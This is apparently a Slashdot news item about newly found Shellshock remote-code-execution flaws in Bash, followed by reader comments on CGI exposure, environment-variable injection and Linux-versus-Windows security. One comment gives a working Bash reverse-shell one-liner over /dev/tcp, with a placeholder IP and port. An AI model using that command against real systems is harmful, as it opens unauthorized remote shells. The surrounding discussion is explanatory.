Bash To Require Further Patching, As More Shellshock Holes Found

Bismillah writes Google security researcher Michael 'lcamtuf' Zalewski says he's discovered a new remote code execution vulnerability in the Bash parser (CVE-2014-6278) that is essentially equivalent to the original Shellshock bug, and trival to exploit. "The first one likely permits remote code execution, but the attack would require a degree of expertise to carry out," Zalewski said. "The second one is essentially equivalent to the original flaw, trivially allowing remote code execution even on systems that deployed the fix for the initial bug," he added.

Comments

There are no "remote" exploits for bash

[gweihir]

Bash does not have network connectivity. The only thing possible is that there may be remote code execution vulnerabilities when bash is used in connection with a network service like a web-server or ssh. Maybe try to have a minimum of accuracy in these stories?

Re:There are no "remote" exploits for bash

[DarkOx]

Umm bash does indeed have network capabilities and I use them for getting reverse shells all the time.

It can be compiled without it but in general its present on most linux systems.

echo $(bash -i >& /dev/tcp/x.x.x.x/yyyy 0>&1)

Where x.x.x.x is the ip and yyyy is the port you want to send the shell to, you can use a netcat listener on the remote host.

Re:There are no "remote" exploits for bash

[markus_baertschi]

Bash has network connectivity on plenty of servers because it is used to execute cgi-script by the webserver (and other network services).

Here the definition of the system() function call often used to run external commands:

system() executes a command specified in command by calling /bin/sh -c command

/bin/sh is linked to /bin/bash and vulnerable. Executing external commands through system(), and therefore bash, is by far the easiest method, so it is widely used. It is sufficient to trick the server or daemon.

Here a proof of concept where a dhcp server tricks a dhcp client into running an arbitrary command. https://www.trustedsec.com/sep...

Markus

Re:There are no "remote" exploits for bash

[Anonymous Coward]

Anyone can stand up a rouge DHCP server on most networks.

I tried to set up a rouge DHCP server once, but it left me marooned.

Nothing to do with language

[dutchwhizzman]

First of all, it's Bourne shellcode and bash has extensions to it. Second of all, whether the programming language is bad or not is totally not relevant. It's the parser in the shell itself that has some fundamental flaws because it executes code inside environment variables that are totally unchecked. You could have a brilliant programming language and still make the exact same mistake.

While you may say that is "by design" it is not common for Bourne shell to do so and most of shell scripts are written to be Bourne shell compatible. By choosing to allow this to happen, Bash programmers made a giant hole in shell security.

Re:Nothing to do with language

[Anonymous Coward]

The problem with bash is that even more than most shells (perhaps except for zsh), it's exceedingly obscure and baroque.

Of course it is baroque. That's why they are working hard to fix it.

More bugs and exploits

[GeekWithAKnife]

Rejoice my brethren; finally linux is becoming popular, the year of the desktop is upon us!

The headlines are changing

[Anonymous Coward]

A quick wrap-up of some Slashdot headlines about Windows and open source vulnerabilities. This might not be enough data to say anything certain, but an interesting trend is surely developing.

2004: New Windows Vulnerability in Help System
2004: Four New Unpatched Windows Vulnerabilities
2007: Windows Vulnerability in Animated Cursor Handling
2010: Windows DLL Vulnerability Exploit in the Wild
2012: Windows Remote Desktop Exploit in the Wild
2014: 23 Year Old X11 Server Security Vulnerability Discovered
2014: OpenSSL Bug Allows Attackers to Read Memory in 64k Chunks
2014: Remote Exploit Vulnerability in Bash

Call it what you will

[benjymouse]

The fact is that bash allows external entities to poison environment variables ahead of invocation, causing unintended behavior in bash when it is launched as a child process.

You are correct that this is not a remote exploit by itself. Only with CGI does it become remote. It is a code injection vulnerability that when used with CGI becomes a remotely exploitable vulnerability.

This is not a "blanded" attack that combines with a CGI vulnerability. There is no vulnerability in CGI; it works as specified (you could say that there is a design vulnerability in CGI - and I would agree about that).

Re:Call it what you will

[benjymouse]

There's nothing in the CGI specification that requires or suggests that there needs to be any kind of intermediary in handling the reqests aside from the web server. The environment is a perfectly legitimate way of passing data, and if the web server calls the CGI safely (i.e. pipe()/fork()/exec()) there's no reason for a transient interpreter like bash to get involved.

The BIG problem here is that environment variables are inherited by default by and child processes. A semi-persistent mechanism is being used (by CGI) to pass what should have been transient data.

The passed values from CGI to the command processor is intended ONLY for the command processor. This is a specification vulnerability almost on par with PHP register_globals: If you know that a certain sub-process *also* uses environment variables to pass parameters, you can poison those environment variables from the web context.

PHP register_globals was bad exactly because of this: Sometimes a script would assume that a variable having no value (e.g. "CURRENT_USER") meant that the user had not logged on; and conversely that a value meant that the user had indeed authenticated. Presto: Inject "CURRENT_USER" as a request parameter and PHP would register a global variable which would cause the test to believe that you were logged on.

The CGI way is very, very similar: Environment variables are indeed "global" and it is very difficult for the immediate receiving processor to check whether extra variables have been set (as it itself could inherit variables from its parent process).

The wrong mechanism (a semi-persistent environment) is being used to transfer what should have transient data. That is a vulnerability in the spec.

Re:Soon to be patched

[king neckbeard]

I think you'll find bone-headed obvious holes from time to time from almost all software vendors, with MS being no exception.

Re:not supposed to be on the web!

[alienmole]

Yeah, this is what bothers me about this whole thing. People are acting like this is a terrible security hole outside of anyone's control, but if you're running an environment which allows for remote execution of anything via bash, I feel like Agent Smith said it best: "your men are already dead." That hasn't been a plausible architecture for public-facing applications for at least a decade. I remember working hard to get away from CGI-style approaches in the late '90s - back then, it was more for performance than security, but the security was an added bonus that became more apparent later.

Re:Can someone explain how someone is exploited?

[X0563511]

You need to have a network service listening that passes data to bash (or arbitrary shells, though that would be far rarer). For example, an Apache HTTP server using bash as a CGI to process requests.

In general this is a bad thing, with a few exclusions for items that require it by their very purpose - for example SSH.

Note however that in the SSH example, the 'passing-stuff-to-shell' is post-authentication - so if they can exploit it, they can already log in as you anyways and do what they want.

Re:Soon to be patched

[Dcnjoe60]

You thought you could run a totally free hobbyist OS and have it be as secure as one done by paid professionals?

Be glad its there for you to use at all. People donate their time and energy to it. Don't look a gift horse in the mouth.

Some would argue that Mac OS X isn't a totally free hobbyist OS and yet, with all of their paid professionals, they have yet to patch the bug. On the other hand, Linux being a free hobbyist OS means that researchers have the ability to scan the code and discover these types of holes. Something that is impossible for closed systems.

Re:Soon to be patched

[gmuslera]

The Microsoft that delays releasing patches for zero-day vulnerabilities so the NSA can exploit them first? The one that took 7 years to fix a known vulnerability? The one that took 7 months to fix a remote IE exploit after it was reported, just because it wasn't public enough?

And with linux, as long as you install from your distribution (that already have most if not all that you will ever need to install), you have security fixes for all of what you have installed, not just the kernel or a minimal core of apps.

Re:Soon to be patched

[indeterminator]

Nobody ever got fired for using Microsoft..

Seems like a management oversight. I would be shocked to find that I have to pay for upgrades every couple of years.

Richard Stallman protests the name Shellshock

[Anonymous Coward]

You'd better call it the GNU/Shellshock security vulnerability!

Re:Soon to be patched

[K. S. Kyosuke]

Except that Heartbleed had nothing to do with Linux. Many things out there use OpenSSL.

Re:Soon to be patched

[NatasRevol]

The reason Windows doesn't have problems like this

HOLY

FUCKING

SHIT

Re:Soon to be patched

[benjymouse]

What makes you think Windows doesn't have problems like this?

They did. But it is a long time since that last vulnerability on this scale. Following the embarrassing Nimda and Code Red (and many vulnerabilities in IIS), Microsoft started it's "security push". The central part of that is the Secure Development Lifecycle (SDL) which as a collection of processes, methodologies, tooling, mandatory education, guidance and mandatory threat modelling, reviews and auditing.

The difference is that being open source third parties can review the code and find problems. There is no way to keep them secret and from the public.

That all fine and dandy. Only, these bugs (the original Shellshock and these later) have existed for 22+ years! During all that time, nobody (we hope) "reviewed the code and found problems". So, if there were any third parties looking at the source, they failed miserably (or sold exploit information on the black market).

Look, there have been bugs found in old MS code as well. A few years back there was a vulnerability in the old DOS emulation code.

It is time to let the myth of the many eyes die. The community is not going to help you by reviewing code unless you *pay* them to do so. It is the most boring discipline of developing code, and nobody does it out of interest.

A company like Microsoft can *pay* people to review and audit code. A big part of SDL is exactly those supporting roles and checks/gates. The open source community must wake up and set up foundations OpenSSL style and start asking those who reap the biggest benefits for some funding.

Also, fixes were pushed out within hours of notification.

Do you really want to go there, given the incomplete patches and host of related problems which could have been found had the maintainers taken more time?

Part of SDL in Microsoft is exactly a process where, when a vulnerability has been reported, they must take time to analyze if there are related or similar vulnerabilities, what impact a patch could have. On top of that they have a gigantic test farm where they test for compatibility with a huge number of popular software applications.

Essentially, what Microsoft does *internally* and prior to releasing information on the bug, is now what for bash takes place *externally* (external security researchers) and *after* the vulnerability info was released.

Look at it this way. BASH has had this problem evidently for years and there haven't been any exploits. It was discovered by researchers analyzing the code. In an MSoft world, where nobody has access to the code but MSoft, the public finds out about security holes after they have been exploited.

No no no no. This bash problem was discovered by someone trying to see if you could pass a lambda (an anonymous function) from a bash shell instance to a subshell. He then noticed some weirdness and investigated.

After the bug has become known, security "researchers" homed in on the bash interpreter. Still from *the outside* (i.e. NOT looking at the source code), more vulnerabilities were found (see Tavis Ormandy's tweets).

The easiest way to find these bugs remains to just play around with bash and try to throw it off with weird syntax. And that is how these bugs are being found.

There is absolutely no evidence that having open source code makes the product more or less secure. To be honest, only the most obvious bugs are ever found by inspecting the code - which tend to be the same class of bugs that would be found with just some cursory testing.

No, the quality of the code is impacted by the quality assurance processes that surround the development process, such as testing, threat modelling, security audits, tooling, guidance etc.

Re:Soon to be patched

[BronsCon]

Well, let's see here... Heartbleed was a bug in OpenSSL, use in a lot of software that has nothing at all to do with Linux, and Shellshock is a bug in the Bash shell, which predates Linux by 2 years and is used on a lot of systems that have nothing at all to do with Linux. Neither bug was a Linux bug, though both affected Linux systems; both also had the ability to affect Windows systems running any number of applications that rely on OpenSSL (if you open your eyes, you might be amazed how many and how common) or Bash (fewer, but still not completely unheard of; there are a number of POSIX layers for Windows, and all of them use Bash by default as far as I'm aware).

The last time I posted these facts, I was modded flamebait, and I'm sure it'll happen again. Plenty of karma to burn, though, so, whatever.

Re:Soon to be patched

[BronsCon]

Shellshock has nothing to do with Linux, either. Bash predates Linux by 2 years.